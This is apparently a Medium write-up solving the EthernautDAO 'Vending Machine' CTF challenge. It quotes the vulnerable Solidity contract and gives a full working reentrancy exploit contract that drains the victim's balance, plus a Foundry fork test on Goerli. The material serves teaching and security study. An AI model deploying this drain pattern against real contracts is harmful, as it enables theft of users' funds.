EthernautDAO CTF — Vending Machine Solution

CTF 4: Vending Machine

Study the contracts

constructor

constructor() payable {
require(msg.value >= 1 ether, "You need a minimum of reserve of 1 ether before deploying the contract");
owner = msg.sender;
reserve = msg.value;
peanuts[address(this)] = 2000;
txCheckLock = false;
}

isStillValid function modifier

modifier isStillValid() {
require(!txCheckLock, "Sorry, this product project has been hacked");
_;
}

isExtContract(address _addr)

function isExtContract(address _addr) private view returns (bool) {
uint32 _codeSize;
assembly {
_codeSize := extcodesize(_addr)
}
return (_codeSize > 0 || _addr != tx.origin);
}
  • the size of the code field of the address is greater than 0. If you want to know more about how this opcode work, go over EXTCODESIZE opcode documentation
  • the _addr is not equal to the tx.origin

deposit function

function deposit() public payable isStillValid {
require(msg.value >= 0.1 ether, "You must have at least 0.1 ether to initiate transaction");
consumersDeposit[msg.sender] += msg.value;
}

withdrawal function

function withdrawal() public isStillValid {
uint256 contractBalanceBeforeTX = getContractBalance();
uint256 balance = consumersDeposit[msg.sender];
uint256 finalContractBalance = contractBalanceBeforeTX - balance;
require(balance > 0, "Insufficient balance"); (bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to send ether");
consumersDeposit[msg.sender] = 0; uint256 contractBalanceAfterTX = getContractBalance(); if ((contractBalanceAfterTX < finalContractBalance) && isExtContract(msg.sender)) {
txCheckLock = true;
}
}

The attack

contract VendingMachineExploiter {
address private owner;
VendingMachine private victim;
bool private done = false;
constructor(VendingMachine _victim) payable {
// init
owner = msg.sender;
victim = _victim;
// deposit the minimum amount we need to be able to start the attack
victim.deposit{value: msg.value}();
}
function exploit() external {
// Start the attack
victim.withdrawal();
}
function withdraw() external {
// Withdraw all the funds in the contract
(bool sent, ) = owner.call{value: address(this).balance}("");
require(sent, "Failed to send ether");
}
receive() external payable {
// The receive function will be called by the `VendingMachine.withdrawal` function
// And we use it to re-enter into it until we have drained all the funds
if (address(victim).balance != 0) {
victim.withdrawal();
}
}
}
  • if you deposit 10 ether you will need to call withdrawal two times. One to withdraw your deposit, one to withdraw the VendingMachine balance
  • if you deposit 1 ether you will have to call withdrawl eleven times. One to withdraw your deposit and then 10 more times to withdraw the rest of the balance
  • if you deposit 11 ether the contract will withdraw your 11 ether but it will also try to re-enter and withdraw the same amount. The transaction will fail because the contract only have 10 ether in its balance right now
  • If you have enough funds, deposit the same amount of ether to match the contract balance. It will cost less gas because you will only call the withdrawal two times
  • otherwise deposit an amount that still allows you to complete the challenge but prevent you to not revert because of the Out of Gas exception

Solution code

  • Create an Alchemy or Infura account to be able to fork the Goerli blockchain
  • Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
  • Run a foundry test that will use the fork to execute the test
function testDrainVendingMachine() public {
address player = users[0];
vm.startPrank(player);
uint256 initialPlayerBalance = player.balance;
uint256 initialVendingMachineBalance = address(vendingMachine).balance;
// deploy the VendingMachineExploiter contract
VendingMachineExploiter exploiter = new VendingMachineExploiter{value: 0.1 ether}(vendingMachine);
vm.label(address(exploiter), "VendingMachineExploiter");
// start the exploit process
exploiter.exploit();
// send back all the funds to the player
exploiter.withdraw();
vm.stopPrank(); // Assert that we have drained the `VendingMachine` contract
assertEq(player.balance, initialPlayerBalance + initialVendingMachineBalance);
assertEq(address(vendingMachine).balance, 0 ether);
}

Further reading

Disclaimer

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store